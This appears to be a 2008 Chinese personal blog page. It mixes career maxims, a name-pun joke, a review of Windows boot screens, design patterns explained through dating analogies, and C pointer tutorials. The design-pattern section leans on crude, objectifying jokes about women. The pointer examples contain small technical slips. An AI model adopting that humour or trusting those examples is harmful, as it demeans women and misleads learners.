忠告11:障碍是你看不到目标。《论语》说:“取法其上,得乎其中,取法其中,得乎其下”,你的目标如果定的过低,则你的收效也许就更低。300多头鲸鱼因为追逐沙丁鱼被困死在一个海湾里。鲸鱼因为追逐小利而暴死,为了微不足道的目标耗掉了自己的生命。你追求的目标一定是值得追求的才对。

 

 

忠告12世界上最伟大的力量是改变的力量;多花时间成长自己,少花时间去苛责别人。多花时间学会改变自己

 

 

忠告13:有个北大硕士写了一本《北大毕业等于零》的书,他发现通过互联网,他在北大所学的东西,都可以通过网络找到,这让他很沮丧,所以写了这本书。同时告诉青年人:知识只需要检索,根本不需要储备。毕业了,你需要找机会将你的储备释放出来,危机中与其等待徘徊,不如尽快进入角色

 

 

忠告14:态度决定结果。消极的“墨菲定律”认为:任何事情都不会像它看上去那么容易;办任何事情所要花的时间比你想象的都长;问题往往出在你认为最不会出问题的地方。

而积极的“艾利斯情绪理论”:人的情绪主要根源于自己的信念以及他对生活情境的评价与解释的不同。真正决定事物结果的根源并非事物本身,而是我们对于该事物的信念和行动

 

 

忠告15:艰难困苦,玉汝于成。美国的成功学之父拿破仑·希尔认为成功决定于五个要素,取决于信念、态度、目标、潜意识和习惯。他有三个成功法则:

成功法则1:成功(V)=自信(S)+意志力(W)+积极心(P

成功法则2:目标(O)=希望(H)+热情(E

成功法则3:成功(V)=想象(J)+潜能(L)+努力(M

 

 

忠告16:流行是短暂的,趋势才是长久的,掌握趋势就能领导流行。危机就是一个负面的流行,不会长久存在,在我从事工作的这10年中,这次的危机算了是第三次了,第一次是2000年前后的互联网泡沫,对于IT企业的冲击;第二次是2003年北京的“非典”的影响。都过来了。这一次,或大或小,总之,依然会过去。如果你能够掌握趋势,你依然能够成功。

 

教室里的爆笑点名,老师几乎气绝身亡~~~~

发布者:viniedodo昕,发布时间:‎‎2008-11-28 上午4:33‎‎   [ 更新时间:‎‎2008-11-28 上午4:40‎‎ ]

学校开学点名,有一个班主任别出心裁,对学生说:“我念学号,你们自己报一下名字,这样大家就认识了,好不好?”
  “001号!”
  “报告老师,我姓焦,我叫焦配。” 老师有点晕,问道:“这是谁给你取的?”
  “我爹。” “你爹是干什么的?”
  “开种猪厂的!”
  “002号!”
  一个女生站起来:“报告老师,我姓张,我叫张德开。”
  “003号!”
  “报告老师,我是张德开的孪生弟弟,我叫张不开。” “这是谁给你们起的名?”
  “是我爸,他是卖钳子的。” 老师赶紧喝了口水。
  “004号!”
  “报告老师,我姓区(这个字念”欧”)我叫区夜(哦也),这是我妈给我取的名,她说生我的时候刚好打爆了一个电脑游戏。” 老师的心脏有点不舒服了。
  “005号!”
  “报告老师,甘妮娘!” “你怎么骂人啊?!”
  “没有啊!老师,我是说我姓甘,叫甘妮酿,我老爸是造酒的。” 老师吃了一片药。
  006号!”
  “老师,我姓苟,叫苟不理。”
  “你老爸是开包子铺的吧?!”
  “老师,您真聪明!” 老师已经有点站不稳了。
  “007号!”
  “我姓蒯(读快,发第三声。)叫蒯货。”
  “你别告诉我你老爸是开货栈的。”
  “老师,你可真老土了,我老爸是拉皮条的。” 老师的嘴角已经渗出了血。
  “008号!”
  “老师,你去死!” “什么?你说什么?!”
  “我是说我姓倪,叫倪去寺。我老妈是个信佛的人,我的名字有意思吧?”
  “有意思,有意思。” 老师快哭出来了。
  “009号!”
  “老师,下回说。” “为什么要下回说,你现在就说!”
  “不是的啦!老师,我姓夏,叫夏汇烁,我老爸是个说评书的。” 老师已经感到天旋地转了。
  ”010号!”
  “老师,我姓高,叫高完。”
  “我姓梅,叫梅良心。”
  “我姓吴,叫吴晴。”
  “我姓毛,叫毛蓉蓉。”…………
  老师仰天长哮:“天啊,我碰上了一群什么学生啊!”老师口喷鲜血,倒地气绝.

从Windows 1.0到Vista启动画面回顾

发布者:viniedodo昕,发布时间:‎‎2008-11-11 上午2:24‎‎   [ 更新时间:‎‎2008-11-11 上午2:27‎‎ ]

成千上万的PC用户每天打开电脑首先看到的就是Windows启动画面,从1985年到2008年,跨跃24年的时间里,计算机用户们到底经历了什么样的视觉历程?

总有人说,微软的这个系统不好,那个系统不好。其实大家的说法也对,也不对。毕竟没有任何技术都能够一步到位(不然我们现在直接做着飞碟去外层空间交友了),从略长的时间角度来讲,Windows很明显地在进步。

虽然有很多人张口骂Windows ME的失败,但是ME比起Windows98如何?ME里面内置了很多功能都是XP直接采用的。而且,很多骂ME的人都是道听途说,总感觉那么多人骂肯定有被骂的道理,于是跟着骂,其实自己压根没见过ME是啥样。

我们带大家再来回顾从Windows 1.0到Windows vista的启动画面发展进程:


winws
1985.11.20Windows1.01 —— 最早的“蓝屏”

winws
 1987.11.1 Windows 2.03 ——微软标识成形

winws
1990.5.22 Windows 3.0

winws
1992.3.18 Windows 3.1 —— 首次出现窗口旗帜

winws
1993.11.1 Windows for Workgroups 3.11

winws
1993.7.27 Windows NT 3.1

winws
1993.7.27 Windows NT 3.1 AdvancedServer

winws
1994.9.21 Windows NT Workstation 3.5

winws
1995.5.30 Windows NT Workstation 3.51

winws
1995.5.30 Windows NT Server 3.51

winws
1995.8.24 Windows 95 ——“蓝天白云”并突出显示了集成的IE浏览器

winws
1996.8.24 Windows NT Workstation 4.0

winws
1996.8.24 Windows NT Server 4.0

winws
1998.6.25 Windows 98

winws
2000.2.17 Windows 2000 Professional —— 第一次使用进度条

winws
2000.9.14 Windows Millennium Edition

winws
2001.10.25 Windows XP Home Edition —— 进度条改成了循环滚动样式

winws
2001.10.25 Windows XP Professional Edition

winws
2003.3.28 Windows XP 64-Bit Edition

winws
2003.4.24 Windows Server 2003

winws
2004.8.6 Windows XP SP2 —— Professional字样被去掉

winws
2007.1.30Windows Vista—— 改用黑屏

winws

2007.1.30 Windows Vista —— 第二部分,看来微软不过瘾,非要在Vista里加上两个启动画面。

讨人喜欢的27个原则

发布者:viniedodo昕,发布时间:‎‎2008-10-20 上午3:31‎

关于23种设计模式的有趣见解

        创建型模式
       
        1、FACTORY—追MM少不了请吃饭了,麦当劳的鸡翅和肯德基的鸡翅都是MM爱吃的东西,虽然口味有所不同,但不管你带MM去麦当劳或肯德基,只管向服务员说“来四个鸡翅”就行了。麦当劳和肯德基就是生产鸡翅的Factory
       
        工厂模式:客户类和工厂类分开。消费者任何时候需要某种产品,只需向工厂请求即可。消费者无须修改就可以接纳新产品。缺点是当产品修改时,工厂类也要做相应的修改。如:如何创建及如何向客户端提供。
       
        2、BUILDER—MM最爱听的就是“我爱你”这句话了,见到不同地方的MM,要能够用她们的方言跟她说这句话哦,我有一个多种语言翻译机,上面每种语言都有一个按键,见到MM我只要按对应的键,它就能够用相应的语言说出“我爱你”这句话了,国外的MM也可以轻松搞掂,这就是我的“我爱你”builder。(这一定比美军在伊拉克用的翻译机好卖)
       
        建造模式:将产品的内部表象和产品的生成过程分割开来,从而使一个建造过程生成具有不同的内部表象的产品对象。建造模式使得产品内部表象可以独立的变化,客户不必知道产品内部组成的细节。建造模式可以强制实行一种分步骤进行的建造过程。
       
        3、FACTORY METHOD—请MM去麦当劳吃汉堡,不同的MM有不同的口味,要每个都记住是一件烦人的事情,我一般采用Factory Method模式,带着MM到服务员那儿,说“要一个汉堡”,具体要什么样的汉堡呢,让MM直接跟服务员说就行了。
       
        工厂方法模式:核心工厂类不再负责所有产品的创建,而是将具体创建的工作交给子类去做,成为一个抽象工厂角色,仅负责给出具体工厂类必须实现的接口,而不接触哪一个产品类应当被实例化这种细节。
       
        4、PROTOTYPE—跟MM用QQ聊天,一定要说些深情的话语了,我搜集了好多肉麻的情话,需要时只要copy出来放到QQ里面就行了,这就是我的情话prototype了。(100块钱一份,你要不要)
       
        原始模型模式:通过给出一个原型对象来指明所要创建的对象的类型,然后用复制这个原型对象的方法创建出更多同类型的对象。原始模型模式允许动态的增加或减少产品类,产品类不需要非得有任何事先确定的等级结构,原始模型模式适用于任何的等级结构。缺点是每一个类都必须配备一个克隆方法。
       
        5、SINGLETON—俺有6个漂亮的老婆,她们的老公都是我,我就是我们家里的老公Sigleton,她们只要说道“老公”,都是指的同一个人,那就是我(刚才做了个梦啦,哪有这么好的事)
       
        单例模式:单例模式确保某一个类只有一个实例,而且自行实例化并向整个系统提供这个实例单例模式。单例模式只应在有真正的“单一实例”的需求时才可使用。
       
        结构型模式
       
        6、ADAPTER—在朋友聚会上碰到了一个美女Sarah,从香港来的,可我不会说粤语,她不会说普通话,只好求助于我的朋友kent了,他作为我和Sarah之间的Adapter,让我和Sarah可以相互交谈了(也不知道他会不会耍我)
       
        适配器(变压器)模式:把一个类的接口变换成客户端所期待的另一种接口,从而使原本因接口原因不匹配而无法一起工作的两个类能够一起工作。适配类可以根据参数返还一个合适的实例给客户端。
       
        7、BRIDGE—早上碰到MM,要说早上好,晚上碰到MM,要说晚上好;碰到MM穿了件新衣服,要说你的衣服好漂亮哦,碰到MM新做的发型,要说你的头发好漂亮哦。不要问我“早上碰到MM新做了个发型怎么说”这种问题,自己用BRIDGE组合一下不就行了
       
        桥梁模式:将抽象化与实现化脱耦,使得二者可以独立的变化,也就是说将他们之间的强关联变成弱关联,也就是指在一个软件系统的抽象化和实现化之间使用组合/聚合关系而不是继承关系,从而使两者可以独立的变化。
       
        8、COMPOSITE—Mary今天过生日。“我过生日,你要送我一件礼物。”“嗯,好吧,去商店,你自己挑。”“这件T恤挺漂亮,买,这条裙子好看,买,这个包也不错,买。”“喂,买了三件了呀,我只答应送一件礼物的哦。”“什么呀,T恤加裙子加包包,正好配成一套呀,小姐,麻烦你包起来。”“……”,MM都会用Composite模式了,你会了没有?
       
        合成模式:合成模式将对象组织到树结构中,可以用来描述整体与部分的关系。合成模式就是一个处理对象的树结构的模式。合成模式把部分与整体的关系用树结构表示出来。合成模式使得客户端把一个个单独的成分对象和由他们复合而成的合成对象同等看待。
       
        9、DECORATOR—Mary过完轮到Sarly过生日,还是不要叫她自己挑了,不然这个月伙食费肯定玩完,拿出我去年在华山顶上照的照片,在背面写上“最好的的礼物,就是爱你的Fita”,再到街上礼品店买了个像框(卖礼品的MM也很漂亮哦),再找隔壁搞美术设计的Mike设计了一个漂亮的盒子装起来……,我们都是Decorator,最终都在修饰我这个人呀,怎么样,看懂了吗?
       
        装饰模式:装饰模式以对客户端透明的方式扩展对象的功能,是继承关系的一个替代方案,提供比继承更多的灵活性。动态给一个对象增加功能,这些功能可以再动态的撤消。增加由一些基本功能的排列组合而产生的非常大量的功能。
       
        10、FACADE—我有一个专业的Nikon相机,我就喜欢自己手动调光圈、快门,这样照出来的照片才专业,但MM可不懂这些,教了半天也不会。幸好相机有Facade设计模式,把相机调整到自动档,只要对准目标按快门就行了,一切由相机自动调整,这样MM也可以用这个相机给我拍张照片了。
       
        门面模式:外部与一个子系统的通信必须通过一个统一的门面对象进行。门面模式提供一个高层次的接口,使得子系统更易于使用。每一个子系统只有一个门面类,而且此门面类只有一个实例,也就是说它是一个单例模式。但整个系统可以有多个门面类。
       
        11、FLYWEIGHT—每天跟MM发短信,手指都累死了,最近买了个新手机,可以把一些常用的句子存在手机里,要用的时候,直接拿出来,在前面加上MM的名字就可以发送了,再不用一个字一个字敲了。共享的句子就是Flyweight,MM的名字就是提取出来的外部特征,根据上下文情况使用。
       
        享元模式:FLYWEIGHT在拳击比赛中指最轻量级。享元模式以共享的方式高效的支持大量的细粒度对象。享元模式能做到共享的关键是区分内蕴状态和外蕴状态。内蕴状态存储在享元内部,不会随环境的改变而有所不同。外蕴状态是随环境的改变而改变的。外蕴状态不能影响内蕴状态,它们是相互独立的。将可以共享的状态和不可以共享的状态从常规类中区分开来,将不可以共享的状态从类里剔除出去。客户端不可以直接创建被共享的对象,而应当使用一个工厂对象负责创建被共享的对象。享元模式大幅度的降低内存中对象的数量。
       
        12、PROXY—跟MM在网上聊天,一开头总是“hi,你好”,“你从哪儿来呀?”“你多大了?”“身高多少呀?”这些话,真烦人,写个程序做为我的Proxy吧,凡是接收到这些话都设置好了自动的回答,接收到其他的话时再通知我回答,怎么样,酷吧。
       
        代理模式:代理模式给某一个对象提供一个代理对象,并由代理对象控制对源对象的引用。代理就是一个人或一个机构代表另一个人或者一个机构采取行动。某些情况下,客户不想或者不能够直接引用一个对象,代理对象可以在客户和目标对象直接起到中介的作用。客户端分辨不出代理主题对象与真实主题对象。代理模式可以并不知道真正的被代理对象,而仅仅持有一个被代理对象的接口,这时候代理对象不能够创建被代理对象,被代理对象必须有系统的其他角色代为创建并传入。
       
        行为模式
       
        13、CHAIN OF RESPONSIBLEITY—晚上去上英语课,为了好开溜坐到了最后一排,哇,前面坐了好几个漂亮的MM哎,找张纸条,写上“Hi,可以做我的女朋友吗?如果不愿意请向前传”,纸条就一个接一个的传上去了,糟糕,传到第一排的MM把纸条传给老师了,听说是个老处女呀,快跑!
       
        责任链模式:在责任链模式中,很多对象由每一个对象对其下家的引用而接
       
        起来形成一条链。请求在这个链上传递,直到链上的某一个对象决定处理此请求。客户并不知道链上的哪一个对象最终处理这个请求,系统可以在不影响客户端的情况下动态的重新组织链和分配责任。处理者有两个选择:承担责任或者把责任推给下家。一个请求可以最终不被任何接收端对象所接受。
       
        14、COMMAND—俺有一个MM家里管得特别严,没法见面,只好借助于她弟弟在我们俩之间传送信息,她对我有什么指示,就写一张纸条让她弟弟带给我。这不,她弟弟又传送过来一个COMMAND,为了感谢他,我请他吃了碗杂酱面,哪知道他说:“我同时给我姐姐三个男朋友送COMMAND,就数你最小气,才请我吃面。”,:-(
       
        命令模式:命令模式把一个请求或者操作封装到一个对象中。命令模式把发出命令的责任和执行命令的责任分割开,委派给不同的对象。命令模式允许请求的一方和发送的一方独立开来,使得请求的一方不必知道接收请求的一方的接口,更不必知道请求是怎么被接收,以及操作是否执行,何时被执行以及是怎么被执行的。系统支持命令的撤消。
       
        15、INTERPRETER—俺有一个《泡MM真经》,上面有各种泡MM的攻略,比如说去吃西餐的步骤、去看电影的方法等等,跟MM约会时,只要做一个Interpreter,照着上面的脚本执行就可以了。
       
        解释器模式:给定一个语言后,解释器模式可以定义出其文法的一种表示,并同时提供一个解释器。客户端可以使用这个解释器来解释这个语言中的句子。解释器模式将描述怎样在有了一个简单的文法后,使用模式设计解释这些语句。在解释器模式里面提到的语言是指任何解释器对象能够解释的任何组合。在解释器模式中需要定义一个代表文法的命令类的等级结构,也就是一系列的组合规则。每一个命令对象都有一个解释方法,代表对命令对象的解释。命令对象的等级结构中的对象的任何排列组合都是一个语言。
       
       
       
        16、ITERATOR—我爱上了Mary,不顾一切的向她求婚。
       
        Mary:“想要我跟你结婚,得答应我的条件”
       
        我:“什么条件我都答应,你说吧”
       
        Mary:“我看上了那个一克拉的钻石”
       
        我:“我买,我买,还有吗?”
       
        Mary:“我看上了湖边的那栋别墅”
       
        我:“我买,我买,还有吗?”
       
        Mary:“你的小弟弟必须要有50cm长”
       
        我脑袋嗡的一声,坐在椅子上,一咬牙:“我剪,我剪,还有吗?”
       
        ……
       
        迭代子模式:迭代子模式可以顺序访问一个聚集中的元素而不必暴露聚集的内部表象。多个对象聚在一起形成的总体称之为聚集,聚集对象是能够包容一组对象的容器对象。迭代子模式将迭代逻辑封装到一个独立的子对象中,从而与聚集本身隔开。迭代子模式简化了聚集的界面。每一个聚集对象都可以有一个或一个以上的迭代子对象,每一个迭代子的迭代状态可以是彼此独立的。迭代算法可以独立于聚集角色变化。
       
        17、MEDIATOR—四个MM打麻将,相互之间谁应该给谁多少钱算不清楚了,幸亏当时我在旁边,按照各自的筹码数算钱,赚了钱的从我这里拿,赔了钱的也付给我,一切就OK啦,俺得到了四个MM的电话。
       
        调停者模式:调停者模式包装了一系列对象相互作用的方式,使得这些对象不必相互明显作用。从而使他们可以松散偶合。当某些对象之间的作用发生改变时,不会立即影响其他的一些对象之间的作用。保证这些作用可以彼此独立的变化。调停者模式将多对多的相互作用转化为一对多的相互作用。调停者模式将对象的行为和协作抽象化,把对象在小尺度的行为上与其他对象的相互作用分开处理。
       
        18、MEMENTO—同时跟几个MM聊天时,一定要记清楚刚才跟MM说了些什么话,不然MM发现了会不高兴的哦,幸亏我有个备忘录,刚才与哪个MM说了什么话我都拷贝一份放到备忘录里面保存,这样可以随时察看以前的记录啦。
       
        备忘录模式:备忘录对象是一个用来存储另外一个对象内部状态的快照的对象。备忘录模式的用意是在不破坏封装的条件下,将一个对象的状态捉住,并外部化,存储起来,从而可以在将来合适的时候把这个对象还原到存储起来的状态。
       
        19、OBSERVER—想知道咱们公司最新MM情报吗?加入公司的MM情报邮件组就行了,tom负责搜集情报,他发现的新情报不用一个一个通知我们,直接发布给邮件组,我们作为订阅者(观察者)就可以及时收到情报啦
       
        观察者模式:观察者模式定义了一种一队多的依赖关系,让多个观察者对象同时监听某一个主题对象。这个主题对象在状态上发生变化时,会通知所有观察者对象,使他们能够自动更新自己。
       
        20、STATE—跟MM交往时,一定要注意她的状态哦,在不同的状态时她的行为会有不同,比如你约她今天晚上去看电影,对你没兴趣的MM就会说“有事情啦”,对你不讨厌但还没喜欢上的MM就会说“好啊,不过可以带上我同事么?”,已经喜欢上你的MM就会说“几点钟?看完电影再去泡吧怎么样?”,当然你看电影过程中表现良好的话,也可以把MM的状态从不讨厌不喜欢变成喜欢哦。
       
        状态模式:状态模式允许一个对象在其内部状态改变的时候改变行为。这个对象看上去象是改变了它的类一样。状态模式把所研究的对象的行为包装在不同的状态对象里,每一个状态对象都属于一个抽象状态类的一个子类。状态模式的意图是让一个对象在其内部状态改变的时候,其行为也随之改变。状态模式需要对每一个系统可能取得的状态创立一个状态类的子类。当系统的状态变化时,系统便改变所选的子类。
       
        21、STRATEGY—跟不同类型的MM约会,要用不同的策略,有的请电影比较好,有的则去吃小吃效果不错,有的去海边浪漫最合适,单目的都是为了得到MM的芳心,我的追MM锦囊中有好多Strategy哦。
       
        策略模式:策略模式针对一组算法,将每一个算法封装到具有共同接口的独立的类中,从而使得它们可以相互替换。策略模式使得算法可以在不影响到客户端的情况下发生变化。策略模式把行为和环境分开。环境类负责维持和查询行为类,各种算法在具体的策略类中提供。由于算法和环境独立开来,算法的增减,修改都不会影响到环境和客户端。
       
        22、TEMPLATE METHOD——看过《如何说服女生上床》这部经典文章吗?女生从认识到上床的不变的步骤分为巧遇、打破僵局、展开追求、接吻、前戏、动手、爱抚、进去八大步骤(Template method),但每个步骤针对不同的情况,都有不一样的做法,这就要看你随机应变啦(具体实现);
       
        模板方法模式:模板方法模式准备一个抽象类,将部分逻辑以具体方法以及具体构造子的形式实现,然后声明一些抽象方法来迫使子类实现剩余的逻辑。不同的子类可以以不同的方式实现这些抽象方法,从而对剩余的逻辑有不同的实现。先制定一个顶级逻辑框架,而将逻辑的细节留给具体的子类去实现。
       
        23、VISITOR—情人节到了,要给每个MM送一束鲜花和一张卡片,可是每个MM送的花都要针对她个人的特点,每张卡片也要根据个人的特点来挑,我一个人哪搞得清楚,还是找花店老板和礼品店老板做一下Visitor,让花店老板根据MM的特点选一束花,让礼品店老板也根据每个人特点选一张卡,这样就轻松多了;
       
        访问者模式:访问者模式的目的是封装一些施加于某种数据结构元素之上的操作。一旦这些操作需要修改的话,接受这个操作的数据结构可以保持不变。访问者模式适用于数据结构相对未定的系统,它把数据结构和作用于结构上的操作之间的耦合解脱开,使得操作集合可以相对自由的演化。访问者模式使得增加新的操作变的很容易,就是增加一个新的访问者类。访问者模式将有关的行为集中到一个访问者对象中,而不是分散到一个个的节点类中。当使用访问者模式时,要将尽可能多的对象浏览逻辑放在访问者类中,而不是放到它的子类中。访问者模式可以跨过几个类的等级结构访问属于不同的等级结构的成员类。

 

指针声明

发布者:viniedodo昕,发布时间:‎‎2008-10-19 下午7:40‎

C语言所有复杂的指针声明,都是由各种声明嵌套构成的。如何解读复杂指针声明呢?右左法则是一个既著名又常用的方法。不过,右左法则其实并不是C标准里面的内容,它是从C标准的声明规定中归纳出来的方法。C标准的声明规则,是用来解决如何创建声明的,而右左法则是用来解决如何辩识一个声明的,两者可以说是相反的。右左法则的英文原文是这样说的:

The right-left rule: Start reading the declaration from the innermost parentheses, go right, and then go left. When you encounter parentheses, the direction should be reversed. Once everything in the parentheses has been parsed, jump out of it. Continue till the whole declaration has been parsed.


这段英文的翻译如下:

右左法则:首先从最里面的圆括号看起,然后往右看,再往左看。每当遇到圆括号时,就应该掉转阅读方向。一旦解析完圆括号里面所有的东西,就跳出圆括号。重复这个过程直到整个声明解析完毕。

        笔者要对这个法则进行一个小小的修正,应该是从未定义的标识符开始阅读,而不是从括号读起,之所以是未定义的标识符,是因为一个声明里面可能有多个标识符,但未定义的标识符只会有一个。

        现在通过一些例子来讨论右左法则的应用,先从最简单的开始,逐步加深:

int (*func)(int *p);

首先找到那个未定义的标识符,就是func,它的外面有一对圆括号,而且左边是一个*号,这说明func是一个指针,然后跳出这个圆括号,先看右边,也是一个圆括号,这说明(*func)是一个函数,而func是一个指向这类函数的指针,就是一个函数指针,这类函数具有int*类型的形参,返回值类型是int。

int (*func)(int *p, int (*f)(int*));

func被一对括号包含,且左边有一个*号,说明func是一个指针,跳出括号,右边也有个括号,那么func是一个指向函数的指针,这类函数具有int *和int (*)(int*)这样的形参,返回值为int类型。再来看一看func的形参int (*f)(int*),类似前面的解释,f也是一个函数指针,指向的函数具有int*类型的形参,返回值为int。

int (*func[5])(int *p);

func右边是一个[]运算符,说明func是一个具有5个元素的数组,func的左边有一个*,说明func的元素是指针,要注意这里的*不是修饰func的,而是修饰func[5]的,原因是[]运算符优先级比*高,func先跟[]结合,因此*修饰的是func[5]。跳出这个括号,看右边,也是一对圆括号,说明func数组的元素是函数类型的指针,它所指向的函数具有int*类型的形参,返回值类型为int。


int (*(*func)[5])(int *p);

func被一个圆括号包含,左边又有一个*,那么func是一个指针,跳出括号,右边是一个[]运算符号,说明func是一个指向数组的指针,现在往左看,左边有一个*号,说明这个数组的元素是指针,再跳出括号,右边又有一个括号,说明这个数组的元素是指向函数的指针。总结一下,就是:func是一个指向数组的指针,这个数组的元素是函数指针,这些指针指向具有int*形参,返回值为int类型的函数。

int (*(*func)(int *p))[5];

func是一个函数指针,这类函数具有int*类型的形参,返回值是指向数组的指针,所指向的数组的元素是具有5个int元素的数组。

要注意有些复杂指针声明是非法的,例如:

int func(void) [5];

func是一个返回值为具有5个int元素的数组的函数。但C语言的函数返回值不能为数组,这是因为如果允许函数返回值为数组,那么接收这个数组的内容的东西,也必须是一个数组,但C语言的数组名是一个右值,它不能作为左值来接收另一个数组,因此函数返回值不能为数组。

int func[5](void);

func是一个具有5个元素的数组,这个数组的元素都是函数。这也是非法的,因为数组的元素除了类型必须一样外,每个元素所占用的内存空间也必须相同,显然函数是无法达到这个要求的,即使函数的类型一样,但函数所占用的空间通常是不相同的。

作为练习,下面列几个复杂指针声明给读者自己来解析,答案放在第十章里。

int (*(*func)[5][6])[7][8];

int (*(*(*func)(int *))[5])(int *);

int (*(*func[7][8][9])(int*))[5];

        实际当中,需要声明一个复杂指针时,如果把整个声明写成上面所示的形式,对程序可读性是一大损害。应该用typedef来对声明逐层分解,增强可读性,例如对于声明:

int (*(*func)(int *p))[5];

可以这样分解:

typedef  int (*PARA)[5];
typedef PARA (*func)(int *);

这样就容易看得多了。
===============================================================

转载述: 这是一篇比较老的关于指针的文章,作者站在初学者的角度对指针作了深入的剖析。如果你在学习指针的时候有什么问题,看一看这篇文章定有收获。

一。指针的概念
    1。指针的类型
    2。指针所指向的类型
    3。指针的值
二。指针的算术运算
三。运算符&和*
四。指针表达式
五。数组和指针的关系 
       

 

 

一。指针的概念
    指针是一个特殊的变量,它里面存储的数值被解释成为内存里的一个地址。
    要搞清一个指针需要搞清指针的四方面的内容:指针的类型,指针所指向的类型,指针的值或者叫指针所指向的内存区,还有指针本身所占据的内存区。让我们分别说明。
    先声明几个指针放着做例子:
例一:
(1)int *ptr;
(2)char *ptr;
(3)int **ptr;
(4)int (*ptr)[3];
(5)int *(*ptr)[4];
如果看不懂后几个例子的话,请参阅我前段时间贴出的文章<<如何理解c和c++的复杂类型声明>>。

1。 指针的类型
    从语法的角度看,你只要把指针声明语句里的指针名字去掉,剩下的部分就是这个指针的类型。这是指针本身所具有的类型。让我们看看例一中各个指针的类型:
(1)int *ptr; //指针的类型是int *
(2)char *ptr; //指针的类型是char *
(3)int **ptr; //指针的类型是 int **
(4)int (*ptr)[3]; //指针的类型是 int(*)[3]
(5)int *(*ptr)[4]; //指针的类型是 int *(*)[4]
怎么样?找出指针的类型的方法是不是很简单?

2。指针所指向的类型
    当你通过指针来访问指针所指向的内存区时,指针所指向的类型决定了编译器将把那片内存区里的内容当做什么来看待。
    从语法上看,你只须把指针声明语句中的指针名字和名字左边的指针声明符 *去掉,剩下的就是指针所指向的类型。例如:
(1)int *ptr; //指针所指向的类型是int
(2)char *ptr; //指针所指向的的类型是char
(3)int **ptr; //指针所指向的的类型是 int *
(4)int (*ptr)[3]; //指针所指向的的类型是 int()[3]
(5)int *(*ptr)[4]; //指针所指向的的类型是 int *()[4]
    在指针的算术运算中,指针所指向的类型有很大的作用。
    指针的类型(即指针本身的类型)和指针所指向的类型是两个概念。当你对C越来越熟悉时,你会发现,把与指针搅和在一起的“类型”这个概念分成“指针的类型”和“指针所指向的类型”两个概念,是精通指针的关键点之一。我看了不少书,发现有些写得差的书中,就把指针的这两个概念搅在一起了,所以看起书来前后矛盾,越看越糊涂。

3。 指针的值
    指针的值,或者叫指针所指向的内存区或地址。 指针的值是指针本身存储的数值,这个值将被编译器当作一个地址,而不是一个一般的数值。在32位程序里,所有类型的指针的值都是一个32位整数,因为32位程序里内存地址全都是32位长。
    指针所指向的内存区就是从指针的值所代表的那个内存地址开始,长度为sizeof(指针所指向的类型)的一片内存区。以后,我们说一个指针的值是XX,就相当于说该指针指向了以XX为首地址的一片内存区域;我们说一个指针指向了某块内存区域,就相当于说该指针的值是这块内存区域的首地址。
    指针所指向的内存区和指针所指向的类型是两个完全不同的概念。在例一中,指针所指向的类型已经有了,但由于指针还未初始化,所以它所指向的内存区是不存在的,或者说是无意义的。
    以后,每遇到一个指针,都应该问问:这个指针的类型是什么?指针指向的类型是什么?该指针指向了哪里?
4。 指针本身所占据的内存区。
    指针本身占了多大的内存?你只要用函数sizeof(指针的类型)测一下就知道了。在32位平台里,指针本身占据了4个字节的长度。
    指针本身占据的内存这个概念在判断一个指针表达式是否是左值时很有用。

二。指针的算术运算
    指针可以加上或减去一个整数。指针的这种运算的意义和通常的数值的加减运算的意义是不一样的。例如:
例二:
1。 char a[20];
2。 int *ptr=a;
...
...
3。 ptr++;
    在上例中,指针ptr的类型是int*,它指向的类型是int,它被初始化为指向整形变量a。接下来的第3句中,指针ptr被加了1,编译器是这样处理的:它把指针ptr的值加上了sizeof(int),在32位程序中,是被加上了4。由于地址是用字节做 单位的,故ptr所指向的地址由原来的变量a的地址向高地址方向增加了4个字节。由于char类型的长度是一个字节,所以,原来ptr是指向数组a的第0号单元开始的四个字节,此时指向了数组a中从第4号单元开始的四个字节。
    我们可以用一个指针和一个循环来遍历一个数组,看例子:
例三:
int array[20];
int *ptr=array;
...
//此处略去为整型数组赋值的代码。
...
for(i=0;i<20;i++)
{
(*ptr)++;
ptr++;
}

这个例子将整型数组中各个单元的值加1。由于每次循环都将指针ptr加1,所以每次循环都能访问数组的下一个单元。
再看例子:
例四:
1。 char a[20];
2。 int *ptr=a;
...
...
3。 ptr+=5;
    在这个例子中,ptr被加上了5,编译器是这样处理的:将指针ptr的值加上5乘sizeof(int),在32位程序中就是加上了5乘4=20。由于地址的单位是字节,故现在的ptr所指向的地址比起加5后的ptr所指向的地址来说,向高地址方向移动了20个字节。在这个例子中,没加5前的ptr指向数组a的第0号单元开始的四个字节,加5后,ptr已经指向了数组a的合法范围之外了。虽然这种情况在应用上会出问题,但在语法上却是可以的。这也体现出了指针的灵活性。
    如果上例中,ptr是被减去5,那么处理过程大同小异,只不过ptr的值是被减去5乘sizeof(int),新的ptr指向的地址将比原来的ptr所指向的地址向低地址方向移动了20个字节。
    总结一下,一个指针ptrold加上一个整数n后,结果是一个新的指针ptrnew,ptrnew的类型和ptrold的类型相同,ptrnew所指向的类型和ptrold所指向的类型也相同。ptrnew的值将比ptrold的值增加了n乘sizeof(ptrold所指向的类型)个字节。就是说,ptrnew所指向的内存区将比ptrold所指向的内存区向高地址方向移动了n乘sizeof(ptrold所指向的类型)个字节。
    一个指针ptrold减去一个整数n后,结果是一个新的指针ptrnew,ptrnew的类型和ptrold的类型相同,ptrnew所指向的类型和ptrold所指向的类型也相同。ptrnew的值将比ptrold的值减少了n乘sizeof(ptrold所指向的类型)个字节,就是说,ptrnew所指向的内存区将比ptrold所指向的内存区向低地址方向移动了n乘sizeof(ptrold所指向的类型)个字节。

三。运算符&和*
    这里&是取地址运算符,*是...书上叫做“间接运算符”。&a的运算结果是一个指针,指针的类型是a的类型加个*,指针所指向的类型是a的类型,指针所指向的地址嘛,那就是a的地址。*p的运算结果就五花八门了。总之*p的结果是p所指向的东西,这个东西有这些特点:它的类型是p指向的类型,它所占用的地址是p所指向的地址。
例五:
int a=12;
int b;
int *p;
int **ptr;
p=&a;//&a的结果是一个指针,类型是int*,指向的类型是int,指向的地址是a的地址。
*p=24;//*p的结果,在这里它的类型是int,它所占用的地址是p所指向的地址,显然,*p就是变量a。
ptr=&p;//&p的结果是个指针,该指针的类型是p的类型加个*,在这里是int **。该指针所指向的类型是p的类型,这里是int*。该指针所指向的地址就是指针p自己的地址。
*ptr=&b;//*ptr是个指针,&b的结果也是个指针,且这两个指针的类型和所指向的类型是一样的,所以用&b来给*ptr赋值就是毫无问题的了。
**ptr=34;//*ptr的结果是ptr所指向的东西,在这里是一个指针,对这个指针再做一次*运算,结果就是一个int类型的变量。

四。指针表达式
    一个表达式的最后结果如果是一个指针,那么这个表达式就叫指针表达式。
